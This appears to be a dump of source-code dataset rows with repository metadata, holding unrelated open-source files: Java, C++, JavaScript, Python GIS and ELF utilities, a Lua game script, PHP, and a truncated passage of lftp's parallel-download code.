repo_name stringlengths 4 116 | path stringlengths 4 379 | size stringlengths 1 7 | content stringlengths 3 1.05M | license stringclasses 15
values |
|---|---|---|---|---|
ma-tica/entity.webui | src/main/java/com/mcmatica/entity/webui/annotation/MCWebuiGridColumn.java | 533 | package com.mcmatica.entity.webui.annotation;
import static java.lang.annotation.ElementType.FIELD;
import static java.lang.annotation.RetentionPolicy.RUNTIME;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
@Retention(RUNTIME)
@Target(FIELD)
public @interface MCWebuiGridColumn {
public String dbFieldName() default "";
public int listPosition() default 0;
public boolean hiddenOnCollapsedMode() default true;
public String caption() default "";
public String width() default "100%";
}
| gpl-3.0 |
lcpt/xc_basic | test/funciones/polinomios/xPol4.cc | 1304 | //xPol4.cc
#include "matemat/funciones/src/polinomios/Polinomio.h"
int main(void)
{
Polinomio p("xy");
IndPol v= p.GetIndPol();
v[0]= 0; v[1]= 0; p[v]= 1.0;
v[0]= 1; v[1]= 0; p[v]= 1.0;
v[0]= 0; v[1]= 1; p[v]= 1.0;
v[0]= 1; v[1]= 1; p[v]= 1.0;
v[0]= 2; v[1]= 0; p[v]= 1.0;
v[0]= 0; v[1]= 2; p[v]= 1.0;
Polinomio p1("a");
IndPol v1= p1.GetIndPol();
v1[0]= 0; p1[v1]= 1.0;
v1[0]= 1; p1[v1]= 1.0;
std::cout << "p1= " << p1 << std::endl;
std::cout << "p= "<< p << std::endl;
Polinomio q= p.Eval(1,p1);
std::cout << "p(x=p1)= " << q << std::endl;
std::cout << "Variables: " << q.GetVars() << std::endl;
std::cout << "Grados: " << q.Grados() << std::endl;
std::cout << "Grado: " << q.Grado() << std::endl;
q= p.Eval(2,p1);
std::cout << "p(y=p1)= " << q << std::endl;
std::cout << "Variables: " << q.GetVars() << std::endl;
std::cout << "Grados: " << q.Grados() << std::endl;
std::cout << "Grado: " << q.Grado() << std::endl;
q= p.Eval(1,p1);
q= q.Eval(1,p1);
std::cout << "p(x=p1,y=p1)= " << q << std::endl;
std::cout << "Variables: " << q.GetVars() << std::endl;
std::cout << "Grados: " << q.Grados() << std::endl;
std::cout << "Grado: " << q.Grado() << std::endl;
return 1;
}
| gpl-3.0 |
slang800/visual-stack | lib/settings.js | 831 | module.exports = {
"theme" : "dark", // other theme: light
"ui":2000, // UI port
"tgt":2080, // browser JS port
"do":[], // only trace files matching
"no":[], // ignore files matching ":match" for string or "/match" for regexp
"editors" : { // editor paths per platform, modify these to set up your editor
"darwin":{
"sublime3":{
"bin":"/Applications/Sublime Text 3.app/Contents/SharedSupport/bin/subl",
"args":["$file:$line"]
},
"sublime2":{
"bin":"/Applications/Sublime Text 2.app/Contents/SharedSupport/bin/subl",
"args":["$file:$line"]
},
"textmate":{
"bin":"/Applications/TextMate.app/Contents/Resources/mate",
"args":["$file","--line","$line"]
}
},
"win32":{},
"sunos":{},
"linux":{},
"freebsd":{}
}
};
| gpl-3.0 |
laerne/jaminique | Generators/__init__.py | 156 | from .Exceptions import *
from .Portmanteau import PortmanteauGenerator
from .Markov import MarkovGenerator
from .SmoothMarkov import SmoothMarkovGenerator
| gpl-3.0 |
elebihan/grissom | grissom/binfmt/elf.py | 2559 | # -*- coding: utf-8 -*-
#
# grissom - FOSS compliance tools
#
# Copyright (c) 2013 Eric Le Bihan <eric.le.bihan.dev@free.fr>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
#
"""
Executable and Linkable Format
"""
import os
from elftools.common.py3compat import bytes2str
from elftools.common.exceptions import ELFError
from elftools.elf.elffile import ELFFile
from elftools.elf.dynamic import DynamicSection
from .core import BinfmtInspector
class ElfInspector(BinfmtInspector):
"""Inspect ELF files.
:param filename: path to the ELF file.
:type filename: str
"""
def __init__(self, filename):
BinfmtInspector.__init__(self, filename)
def find_dependencies(self, recursive=False):
"""Find the dependencies of the ELF file.
:param recursive: if true, perform a recursive search.
:type recursive: bool
:returns: an acyclic directed graph as an adjacent list
"""
return self._find_deps(self._filename, recursive)
def _find_deps(self, filename, recursive):
libs = []
filename = self._get_abs_path(filename)
with open(filename, 'rb') as f:
try:
elf = ELFFile(f)
for section in elf.iter_sections():
if not isinstance(section, DynamicSection):
continue
for tag in section.iter_tags():
if tag.entry.d_tag == 'DT_NEEDED':
lib = bytes2str(tag.needed)
libs.append(lib)
except ELFError:
raise
if self._with_full_path:
libs = [self._get_abs_path(l) for l in libs]
deps = [(filename, libs)]
else:
deps = [(os.path.basename(filename), libs)]
if recursive:
for lib in libs:
deps += self._find_deps(lib, recursive)
return deps
# vim: ts=4 sts=4 sw=4 et ai
| gpl-3.0 |
mbertrand/cga-worldmap | geonode/maps/gs_helpers.py | 7467 | from itertools import cycle, izip
from geoserver.catalog import FailedRequestError
import sys
import logging
import re
from django.conf import settings
logger = logging.getLogger("geonode.maps.gs_helpers")
_punc = re.compile(r"[\.:]") #regex for punctuation that confuses restconfig
_foregrounds = ["#ffbbbb", "#bbffbb", "#bbbbff", "#ffffbb", "#bbffff", "#ffbbff"]
_backgrounds = ["#880000", "#008800", "#000088", "#888800", "#008888", "#880088"]
_marks = ["square", "circle", "cross", "x", "triangle"]
_style_contexts = izip(cycle(_foregrounds), cycle(_backgrounds), cycle(_marks))
def _add_sld_boilerplate(symbolizer):
"""
Wrap an XML snippet representing a single symbolizer in the approperiate
elements to make it a valid SLD which applies that symbolizer to all features,
including format strings to allow interpolating a "name" variable in.
"""
return """
<StyledLayerDescriptor version="1.0.0" xmlns="http://www.opengis.net/sld" xmlns:ogc="http://www.opengis.net/ogc"
xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.opengis.net/sld http://schemas.opengis.net/sld/1.0.0/StyledLayerDescriptor.xsd">
<NamedLayer>
<Name>%(name)s</Name>
<UserStyle>
<Name>%(name)s</Name>
<FeatureTypeStyle>
<Rule>
""" + symbolizer + """
</Rule>
</FeatureTypeStyle>
</UserStyle>
</NamedLayer>
</StyledLayerDescriptor>
"""
_raster_template = """
<RasterSymbolizer>
<Opacity>1.0</Opacity>
</RasterSymbolizer>
"""
_polygon_template = """
<PolygonSymbolizer>
<Fill>
<CssParameter name="fill">%(bg)s</CssParameter>
</Fill>
<Stroke>
<CssParameter name="stroke">%(fg)s</CssParameter>
<CssParameter name="stroke-width">0.7</CssParameter>
</Stroke>
</PolygonSymbolizer>
"""
_line_template = """
<LineSymbolizer>
<Stroke>
<CssParameter name="stroke">%(bg)s</CssParameter>
<CssParameter name="stroke-width">3</CssParameter>
</Stroke>
</LineSymbolizer>
</Rule>
</FeatureTypeStyle>
<FeatureTypeStyle>
<Rule>
<LineSymbolizer>
<Stroke>
<CssParameter name="stroke">%(fg)s</CssParameter>
</Stroke>
</LineSymbolizer>
"""
_point_template = """
<PointSymbolizer>
<Graphic>
<Mark>
<WellKnownName>%(mark)s</WellKnownName>
<Fill>
<CssParameter name="fill">%(bg)s</CssParameter>
</Fill>
<Stroke>
<CssParameter name="stroke">%(fg)s</CssParameter>
</Stroke>
</Mark>
<Size>10</Size>
</Graphic>
</PointSymbolizer>
"""
_style_templates = dict(
raster = _add_sld_boilerplate(_raster_template),
polygon = _add_sld_boilerplate(_polygon_template),
line = _add_sld_boilerplate(_line_template),
point = _add_sld_boilerplate(_point_template)
)
def _style_name(resource):
return _punc.sub("_", resource.store.workspace.name + ":" + resource.name)
def get_sld_for(layer):
# FIXME: GeoServer sometimes fails to associate a style with the data, so
# for now we default to using a point style.(it works for lines and
# polygons, hope this doesn't happen for rasters though)
name = layer.default_style.name if layer.default_style is not None else "point"
# FIXME: When gsconfig.py exposes the default geometry type for vector
# layers we should use that rather than guessing based on the autodetected
# style.
if name in _style_templates:
fg, bg, mark = _style_contexts.next()
return _style_templates[name] % dict(name=layer.name, fg=fg, bg=bg, mark=mark)
else:
return None
def fixup_style(cat, resource, style):
logger.debug("Creating styles for layers associated with [%s]", resource)
layers = cat.get_layers(resource=resource)
logger.debug("Found %d layers associated with [%s]", len(layers), resource)
for lyr in layers:
if lyr.default_style.name in _style_templates:
logger.debug("%s uses a default style, generating a new one", lyr)
name = _style_name(resource)
if style is None:
sld = get_sld_for(lyr)
else:
sld = style.read()
logger.debug("Creating style [%s]", name)
style = cat.create_style(name, sld)
lyr.default_style = cat.get_style(name)
logger.debug("Saving changes to %s", lyr)
cat.save(lyr)
logger.debug("Successfully updated %s", lyr)
def cascading_delete(cat, resource):
if resource is None:
# If there is no associated resource,
# this method can not delete anything.
# Let's return and make a note in the log.
logger.debug('cascading_delete was called with a non existant resource')
return
resource_name = resource.name
lyr = cat.get_layer(resource_name)
if(lyr is not None): #Already deleted
store = resource.store
styles = lyr.styles + [lyr.default_style]
cat.delete(lyr)
for s in styles:
if s is not None:
try:
cat.delete(s, purge=True)
except FailedRequestError as e:
# Trying to delete a shared style will fail
# We'll catch the exception and log it.
logger.debug(e)
try:
cat.delete(resource) #This will fail on Geoserver 2.4+
except Exception as e:
import traceback
traceback.print_exc(sys.exc_info())
err_msg = 'Error deleting resource "%s". Expected in Geoserver 2.4+\nError: %s' % (resource_name, str(e))
#print err_msg
logger.error(err_msg)
# continue on....
if store.resource_type == 'dataStore' and 'dbtype' in store.connection_parameters and store.connection_parameters['dbtype'] == 'postgis':
delete_from_postgis(resource_name)
else:
cat.delete(store)
def delete_from_postgis(resource_name):
"""
Delete a table from PostGIS (because Geoserver won't do it yet);
to be used after deleting a layer from the system.
"""
import psycopg2
conn=psycopg2.connect("dbname='" + settings.DB_DATASTORE_DATABASE + "' user='" + settings.DB_DATASTORE_USER + "' password='" + settings.DB_DATASTORE_PASSWORD + "' port=" + settings.DB_DATASTORE_PORT + " host='" + settings.DB_DATASTORE_HOST + "'")
try:
cur = conn.cursor()
cur.execute("SELECT DropGeometryTable ('%s')" % resource_name)
conn.commit()
except Exception, e:
logger.error("Error deleting PostGIS table %s:%s", resource_name, str(e))
finally:
conn.close()
def get_postgis_bbox(resource_name):
"""
Update the native and latlong bounding box for a layer via PostGIS.
Doing it via Geoserver is too resource-intensive
"""
import psycopg2
conn=psycopg2.connect("dbname='" + settings.DB_DATASTORE_DATABASE + "' user='" + settings.DB_DATASTORE_USER + "' password='" + settings.DB_DATASTORE_PASSWORD + "' port=" + settings.DB_DATASTORE_PORT + " host='" + settings.DB_DATASTORE_HOST + "'")
try:
cur = conn.cursor()
cur.execute("select EXTENT(the_geom) as bbox, EXTENT(ST_Transform(the_geom,4326)) as llbbox from \"%s\"" % resource_name)
rows = cur.fetchall()
return rows
except Exception, e:
logger.info("Error retrieving bbox for PostGIS table %s:%s", resource_name, str(e))
finally:
conn.close()
| gpl-3.0 |
krab1k/ChargeFW | src/structures/molecule_set.py | 2931 | import sys
from collections import Counter, defaultdict
from typing import List
from classifier import Classifier, classifiers
from pte import periodic_table
from structures.molecule import Molecule
class MoleculeSet:
def __init__(self, molecules) -> None:
self._molecules: List[Molecule] = list(molecules)
self._atom_types: defaultdict = defaultdict(list)
def __len__(self):
return len(self._molecules)
def __getitem__(self, item):
return self._molecules[item]
def __str__(self):
return 'MoleculeSet: {} molecules'.format(len(self))
@classmethod
def load_from_file(cls, filename: str):
molecules = []
molecule_names = set()
try:
with open(filename) as f:
mol_record = []
for line in f:
if line.strip() == '$$$$':
molecule = Molecule.create_from_mol(mol_record)
if molecule.name in molecule_names:
raise RuntimeError('Two molecules with the same name! ({})'.format(molecule.name))
else:
molecule_names.add(molecule.name)
molecules.append(molecule)
mol_record = []
continue
mol_record.append(line)
except IOError:
print('Cannot open SDF file: {}'.format(filename), file=sys.stderr)
sys.exit(1)
return MoleculeSet(molecules)
def stats(self):
atom_types = Counter()
atom_types_in_molecules = Counter()
for molecule in self:
molecule_classes = [tuple(atom.atom_type) for atom in molecule]
atom_types += Counter(molecule_classes)
atom_types_in_molecules += Counter(set(molecule_classes))
print('Set statistics')
print('Molecules: {} Atoms: {} Atom types: {}'.format(len(self), sum(atom_types.values()), len(atom_types)))
print('Element Type # atoms # molecules')
sorted_keys = sorted(atom_types.keys(), key=lambda k: (periodic_table[k[0]].number, k[1], k[2]))
for c in sorted_keys:
element, classifier, atom_type = c
at = '{}_{}'.format(classifiers[classifier].string, atom_type) \
if classifiers[classifier].string != 'plain' else '*'
print('{:>3s} {:>10s} {:>9d} {:>13d}'.format(element, at, atom_types[c], atom_types_in_molecules[c]))
def assign_atom_types(self, classifier: Classifier):
self._atom_types.clear()
for i, molecule in enumerate(self):
for j, atom in enumerate(molecule):
atom.atom_type = atom.element.symbol, *classifier.get_type(molecule, atom)
self._atom_types[atom.atom_type].append((i, j))
@property
def atom_types(self):
return self._atom_types
| gpl-3.0 |
automenta/netention-old1 | swing/automenta/netention/swing/detail/action/SendAction.java | 1253 | /*
* To change this template, choose Tools | Templates
* and open the template in the editor.
*/
package automenta.netention.swing.detail.action;
import automenta.netention.Detail;
import automenta.netention.Self;
import automenta.netention.action.DetailAction;
import automenta.netention.html.DetailHTML;
import automenta.netention.swing.util.SwingWindow;
import automenta.netention.swing.widget.email.MessageEditPanel;
/**
*
* @author seh
*/
public class SendAction extends DetailAction {
private final DetailHTML detailHTML;
public SendAction(DetailHTML h) {
super("Send");
this.detailHTML = h;
}
@Override
public String getDescription() {
return "Edit and publish this to one or more targets";
}
@Override
public double applies(Detail d) {
return 1.0;
}
@Override
public Runnable getRun(final Self self, final Detail detail) {
return new Runnable() {
@Override public void run() {
final String html = "<html>" + detailHTML.getHTML(getSelf(), detail, false) + "</html>";
new SwingWindow(new MessageEditPanel(self, detail.getName(), html), 800, 600);
}
};
}
}
| gpl-3.0 |
albchu/lazerCatHero | Assets/Scripts/RayGun.cs | 1237 | using UnityEngine;
using System.Collections;
[RequireComponent(typeof(LineRenderer))]
public class RayGun : MonoBehaviour
{
public Transform rayRenderOrigin;
public Transform rayTargetOrigin;
Vector2 mouse;
RaycastHit hit;
float range = 100.0f;
LineRenderer line;
public Material lineMaterial;
void Start()
{
line = GetComponent<LineRenderer>();
line.SetVertexCount(2);
line.GetComponent<Renderer>().material = lineMaterial;
line.SetWidth(0.1f, 0.25f);
}
void Update()
{
if (Input.GetMouseButton(0))
{
Vector3 fwd = rayTargetOrigin.transform.TransformDirection(Vector3.forward);
Debug.DrawRay(rayTargetOrigin.transform.position, fwd * 50, Color.green);
// Shoot raycast
if (Physics.Raycast(rayTargetOrigin.position, rayTargetOrigin.forward, out hit, 50))
{
//Debug.Log("Raycast hitted to: " + objectHit.collider);
//targetEnemy = hit.collider.gameObject;
line.SetPosition(1, hit.point + hit.normal);
}
line.enabled = true;
line.SetPosition(0, rayRenderOrigin.position);
}
}
}
| gpl-3.0 |
gav5/picklerick | vm/ivm/InstructionArgsJump.go | 453 | package ivm
// InstructionArgsJump encapsulates the args for jump instructions
type InstructionArgsJump struct {
Address Address
}
// JumpFormat returns the args in a jump format
func (args InstructionArgs) JumpFormat() InstructionArgsJump {
return InstructionArgsJump{
Address: args.extractAddress(0xffffff),
}
}
// ASM returns the representation in assembly language
func (args InstructionArgsJump) ASM() string {
return args.Address.Hex()
}
| gpl-3.0 |
Laterus/Darkstar-Linux-Fork | scripts/zones/Port_Windurst/npcs/Kususu.lua | 1543 | -----------------------------------
-- Area: Port Windurst
-- NPC: Kususu
-- Standard Merchant NPC
-----------------------------------
require("scripts/globals/shop");
package.loaded["scripts/zones/Port_Windurst/TextIDs"] = nil;
require("scripts/zones/Port_Windurst/TextIDs");
-----------------------------------
-- onTrade Action
-----------------------------------
function onTrade(player,npc,trade)
end;
-----------------------------------
-- onTrigger Action
-----------------------------------
function onTrigger(player,npc)
player:showText(npc,KUSUSU_SHOP_DIALOG);
stock = {0x1221,1165,1, --Diaga
0x1236,7025,1, --Stoneskin
0x1238,837,1, --Slow
0x1202,585,2, --Cure II
0x121c,140,2, --Banish
0x1226,140,2, --Banishga
0x1235,2097,2, --Blink
0x1201,61,3, --Cure
0x1207,1363,3, --Curaga
0x120e,180,3, --Poisona
0x120f,324,3, --Paralyna
0x1210,990,3, --Blindna
0x1217,82,3, --Dia
0x122b,219,3, --Protect
0x1230,1584,3, --Shell
0x1237,360,3} --Aquaveil
showNationShop(player, WINDURST, stock);
end;
-----------------------------------
-- onEventUpdate
-----------------------------------
function onEventUpdate(player,csid,option)
--printf("CSID: %u",csid);
--printf("RESULT: %u",option);
end;
-----------------------------------
-- onEventFinish
-----------------------------------
function onEventFinish(player,csid,option)
--printf("CSID: %u",csid);
--printf("RESULT: %u",option);
end;
| gpl-3.0 |
wordpressure-co-kr/inicis-for-woocommerce | admin/class-ifw-admin-meta-boxes.php | 1263 | <?php
if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
class IFW_Admin_Meta_Boxes {
private static $meta_box_errors = array();
/**
* Constructor
*/
public function __construct() {
include_once('post-types/meta-boxes/class-ifw-meta-box-refund.php');
add_action( 'add_meta_boxes', array( $this, 'add_meta_boxes' ), 30 );
}
/**
* Add an error message
* @param string $text
*/
public static function add_error( $text ) {
self::$meta_box_errors[] = $text;
}
/**
* Show any stored error messages.
*/
public function output_errors() {
$errors = maybe_unserialize( get_option( 'ifw_meta_box_refund_errors' ) );
if ( ! empty( $errors ) ) {
echo '<div id="woocommerce_errors" class="error fade">';
foreach ( $errors as $error ) {
echo '<p>' . esc_html( $error ) . '</p>';
}
echo '</div>';
// Clear
delete_option( 'ifw_meta_box_refund_errors' );
}
}
/**
* Add WC Meta boxes
*/
public function add_meta_boxes() {
add_meta_box(
'ifw-order-refund-request',
__( '결제내역', 'codem_inicis' ),
'IFW_Meta_Box_Refund::output',
'shop_order',
'side',
'default'
);
}
}
new IFW_Admin_Meta_Boxes();
| gpl-3.0 |
dykstrom/jcc | src/main/java/se/dykstrom/jcc/common/assembly/instruction/OrRegWithMem.java | 1130 | /*
* Copyright (C) 2017 Johan Dykstrom
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package se.dykstrom.jcc.common.assembly.instruction;
import se.dykstrom.jcc.common.assembly.base.Register;
/**
* Represents the assembly instruction of performing "bitwise or" on a register and a memory location, such as "or [address], rax".
*
* @author Johan Dykstrom
*/
public class OrRegWithMem extends Or {
public OrRegWithMem(Register source, String destination) {
super(source.toString(), destination);
}
}
| gpl-3.0 |
hustr/OnlineJudge | nowcoder/Arrow2Offer/offer09.java | 597 | /*
我们可以用2*1的小矩形横着或者竖着去覆盖更大的矩形。请问用n个2*1的小矩形无重叠地覆盖一个2*n的大矩形,总共有多少种方法?
* */
public class Solution {
final int[] fibonacci = {0, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, 233, 377, 610, 987, 1597, 2584, 4181, 6765,
10946, 17711, 28657, 46368, 75025, 121393, 196418, 317811, 514229, 832040, 1346269, 2178309, 3524578,
5702887, 9227465, 14930352, 24157817, 39088169, 63245986, 102334155};
public int RectCover(int target) {
return fibonacci[target];
}
} | gpl-3.0 |
Vysybyl/motuus | motuus/movement/__init__.py | 155 | """movement module
Includes classes, constants and functions to store and process a single input of sensor data (i.e. does not handle any
time series)
""" | gpl-3.0 |
jreinhardt/BOLTS | backends/freecad.py | 6197 | # Copyright 2012-2013 Johannes Reinhardt <jreinhardt@ist-dein-freund.de>
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from codecs import open
from datetime import datetime
from os import makedirs
from os.path import basename
from os.path import exists
from os.path import join
from shutil import copy
from shutil import copyfile
from shutil import copytree
from shutil import rmtree
from PyQt5 import uic
from . import license
from .common import Backend
from .errors import IncompatibleLicenseError
# pylint: disable=W0622
class FreeCADBackend(Backend):
def __init__(self, repo, databases):
Backend.__init__(self, repo, "freecad", databases, ["freecad"])
def write_output(self, out_path, **kwargs):
args = self.validate_arguments(kwargs, ["target_license", "version"])
self.clear_output_dir(out_path)
bolts_path = join(out_path, "BOLTS")
# generate macro
start_macro = open(join(out_path, "start_bolts.FCMacro"), "w")
start_macro.write("import BOLTS\n")
start_macro.write("BOLTS.show_widget()\n")
start_macro.close()
# copy files
# bolttools
if not license.is_combinable_with("LGPL 2.1+", args["target_license"]):
raise IncompatibleLicenseError(
"bolttools is LGPL 2.1+, which is not compatible with {}"
.format(args["target_license"])
)
copytree(
join(
self.repo.path, "bolttools"
),
join(
bolts_path, "bolttools"
)
)
# remove the test suite and documentation, to save space
rmtree(join(bolts_path, "bolttools", "test_blt"))
# generate version file
date = datetime.now()
version_file = open(join(bolts_path, "VERSION"), "w")
version_file.write(
"{}\n{}-{}-{}\n{}\n".format(
args["version"],
date.year,
date.month,
date.day,
args["target_license"]
)
)
version_file.close()
# freecad gui code
if not license.is_combinable_with("LGPL 2.1+", args["target_license"]):
raise IncompatibleLicenseError(
"FreeCAD gui files are LGPL 2.1+, "
"which is not compatible with {}"
.format(args["target_license"])
)
if not exists(join(bolts_path, "freecad")):
makedirs(join(bolts_path, "freecad"))
if not exists(join(bolts_path, "data")):
makedirs(join(bolts_path, "data"))
open(join(bolts_path, "freecad", "__init__.py"), "w").close()
copytree(
join(
self.repo.path, "backends", "freecad", "gui"
),
join(
bolts_path, "gui"
)
)
copytree(
join(
self.repo.path, "backends", "freecad", "assets"
),
join(
bolts_path, "assets"
)
)
copytree(
join(
self.repo.path, "icons"
),
join(
bolts_path, "icons"
)
)
copyfile(
join(
self.repo.path, "backends", "freecad", "init.py"
),
join(
bolts_path, "__init__.py"
)
)
open(join(bolts_path, "gui", "__init__.py"), "w").close()
# compile ui files
uic.compileUiDir(join(bolts_path, "gui"))
for coll, in self.repo.itercollections():
if (
not license.is_combinable_with(
coll.license_name,
args["target_license"]
)
):
continue
copy(
join(
self.repo.path, "data", "%s.blt" % coll.id
),
join(
bolts_path, "data", "%s.blt" % coll.id
)
)
if not exists(join(bolts_path, "freecad", coll.id)):
makedirs(join(bolts_path, "freecad", coll.id))
if (
not exists(join(
self.repo.path,
"freecad",
coll.id,
"%s.base" % coll.id
))
):
continue
copy(
join(
self.repo.path, "freecad", coll.id, "%s.base" % coll.id
),
join(
bolts_path, "freecad", coll.id, "%s.base" % coll.id
)
)
open(join(
bolts_path, "freecad", coll.id, "__init__.py"
), "w").close()
for base, in self.dbs["freecad"].iterbases(filter_collection=coll):
if base.license_name not in license.LICENSES:
continue
if (
not license.is_combinable_with(
base.license_name, args["target_license"]
)
):
continue
copy(
join(
self.repo.path,
"freecad",
coll.id,
basename(base.filename)
),
join(
bolts_path, "freecad", coll.id, basename(base.filename)
)
)
| gpl-3.0 |
52North/IlwisCore | ilwisscript/ast/expressionnode.cpp | 4724 | #include <set>
#include "kernel.h"
#include "astnode.h"
#include "operationnodescript.h"
#include "symboltable.h"
#include "expressionnode.h"
using namespace Ilwis;
ExpressionNode::ExpressionNode()
{
}
QString ExpressionNode::nodeType() const
{
return "expression";
}
bool ExpressionNode::evaluate(SymbolTable &symbols, int scope, ExecutionContext *ctx)
{
OperationNodeScript::evaluate(symbols, scope, ctx);
const NodeValue& vleft = _leftTerm->value();
_value = vleft;
bool ret = true;
foreach(RightTerm term, _rightTerm) {
term._rightTerm->evaluate(symbols, scope, ctx) ;
const NodeValue& vright = term._rightTerm->value();
for(int i=0; i < vright.size(); ++i) {
if ( term._operator == OperationNodeScript::oAND ){
ret = handleAnd(i,vright, symbols, ctx);
} else if ( term._operator == OperationNodeScript::oOR ){
ret = handleOr(i,vright, symbols, ctx);
} else if ( term._operator == OperationNodeScript::oXOR ){
ret = handleXor(i,vright, symbols, ctx);
}
if (!ret)
return false;
}
}
return ret;
}
bool ExpressionNode::handleAnd(int index, const NodeValue& vright,SymbolTable &symbols, ExecutionContext *ctx) {
if ( vright.canConvert(index,QVariant::Bool) && _value.canConvert(index,QVariant::Bool)) {
_value = {_value.toBool(index) && vright.toBool(index), NodeValue::ctBOOLEAN};
return true;
} else if ( SymbolTable::isIntegerNumerical(vright) && SymbolTable::isIntegerNumerical(_value)){
_value = {_value.toLongLong(index) & vright.toLongLong(index), NodeValue::ctNumerical};
return true;
} else if ( SymbolTable::isIndex(index, vright) && SymbolTable::isIndex(index, _value)){
RelationFunc relation = [](const Indices& index1, const Indices& index2) {
std::set<quint32> resultSet;
for(auto i1 : index1){
for(auto i2 : index2){
if ( i1 == i2)
resultSet.insert(i1);
}
}
return resultSet;
};
handleIndexes(index, vright, relation);
return true;
}
return handleBinaryCases(index, vright, "binarylogicalraster", "and", symbols, ctx);
}
bool ExpressionNode::handleOr(int index,const NodeValue& vright,SymbolTable &symbols, ExecutionContext *ctx) {
if ( vright.canConvert(index,QVariant::Bool) && _value.canConvert(index,QVariant::Bool)) {
_value = {_value.toBool(index) || vright.toBool(index), NodeValue::ctBOOLEAN};
return true;
} else if ( SymbolTable::isIntegerNumerical(vright) && SymbolTable::isIntegerNumerical(_value)){
_value = {_value.toLongLong(index) | vright.toLongLong(index), NodeValue::ctNumerical};
return true;
} else if ( SymbolTable::isIndex(index, vright) && SymbolTable::isIndex(index, _value)){
RelationFunc relation = [](const Indices& index1, const Indices& index2) {
std::set<quint32> resultSet;
for(auto i1 : index1)
resultSet.insert(i1);
for(auto i2 : index2)
resultSet.insert(i2);
return resultSet;
};
handleIndexes(index, vright, relation);
return true;
}
return handleBinaryCases(index, vright, "binarylogicalraster", "or", symbols, ctx);
}
bool ExpressionNode::handleXor(int index,const NodeValue& vright,SymbolTable &symbols, ExecutionContext *ctx) {
if ( vright.canConvert(index,QVariant::Bool) && _value.canConvert(index,QVariant::Bool)) {
_value = {_value.toBool(index) ^ vright.toBool(index), NodeValue::ctBOOLEAN};
return true;
} else if ( SymbolTable::isIntegerNumerical(vright) &&SymbolTable::isIntegerNumerical(_value)){
_value = {_value.toLongLong(index) ^ vright.toLongLong(index), NodeValue::ctNumerical};
return true;
} else if ( SymbolTable::isIndex(index, vright) && SymbolTable::isIndex(index, _value)){
RelationFunc relation = [](const Indices& index1, const Indices& index2) {
std::set<quint32> resultSet;
std::map<quint32,quint32> combos;
for(auto i1 : index1)
combos[i1]++;
for(auto i2 : index2)
combos[i2]++;
for(auto kvp : combos){
if ( kvp.second == 1)
resultSet.insert(kvp.first);
}
return resultSet;
};
handleIndexes(index, vright, relation);
return true;
}
return handleBinaryCases(index,vright, "binarylogicalraster", "xor", symbols, ctx);
}
| gpl-3.0 |
zxcq/lftp-dev | src/pgetJob.cc | 12065 | /*
* lftp - file transfer program
*
* Copyright (c) 1996-2012 by Alexander V. Lukyanov (lav@yars.free.net)
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include <config.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <stddef.h>
#include <assert.h>
#include <errno.h>
#include "pgetJob.h"
#include "url.h"
#include "misc.h"
#include "log.h"
ResType pget_vars[] = {
{"pget:save-status", "10s", ResMgr::TimeIntervalValidate,ResMgr::NoClosure},
{"pget:default-n", "5", ResMgr::UNumberValidate,ResMgr::NoClosure},
{"pget:min-chunk-size", "1M", ResMgr::UNumberValidate,ResMgr::NoClosure},
{0}
};
ResDecls pget_vars_register(pget_vars);
#undef MIN
#define MIN(a,b) ((a)<(b)?(a):(b))
#define super CopyJob
int pgetJob::Do()
{
int m=STALL;
if(Done())
return m;
if(status_timer.Stopped())
{
SaveStatus();
status_timer.Reset();
}
if(c->Done())
{
if(status_file)
{
remove(status_file);
status_file.set(0);
}
}
if(no_parallel || max_chunks<2)
{
c->Resume();
return super::Do();
}
if(chunks_done && chunks && c->GetPos()>=limit0)
{
c->SetRangeLimit(limit0); // make it stop.
c->Resume();
c->Do();
free_chunks();
m=MOVED;
}
if(chunks==0 || c->GetPos()<limit0)
{
c->Resume();
m|=super::Do();
}
else if(chunks.count()>0)
{
if(chunks[0]->Error())
{
Log::global->Format(0,"pget: chunk[%d] error: %s\n",0,chunks[0]->ErrorText());
no_parallel=true;
c->Resume();
}
else if(!chunks[0]->Done() && chunks[0]->GetBytesCount()<limit0/16)
{
c->Resume();
if(chunks.count()==1)
{
free_chunks();
no_parallel=true;
}
else
{
limit0=chunks[0]->c->GetRangeLimit();
chunks.remove(0);
}
m=MOVED;
}
else
c->Suspend();
}
if(Done() || chunks_done)
return m;
off_t offset=c->GetPos();
off_t size=c->GetSize();
if(chunks==0)
{
if(size==NO_SIZE_YET)
return m;
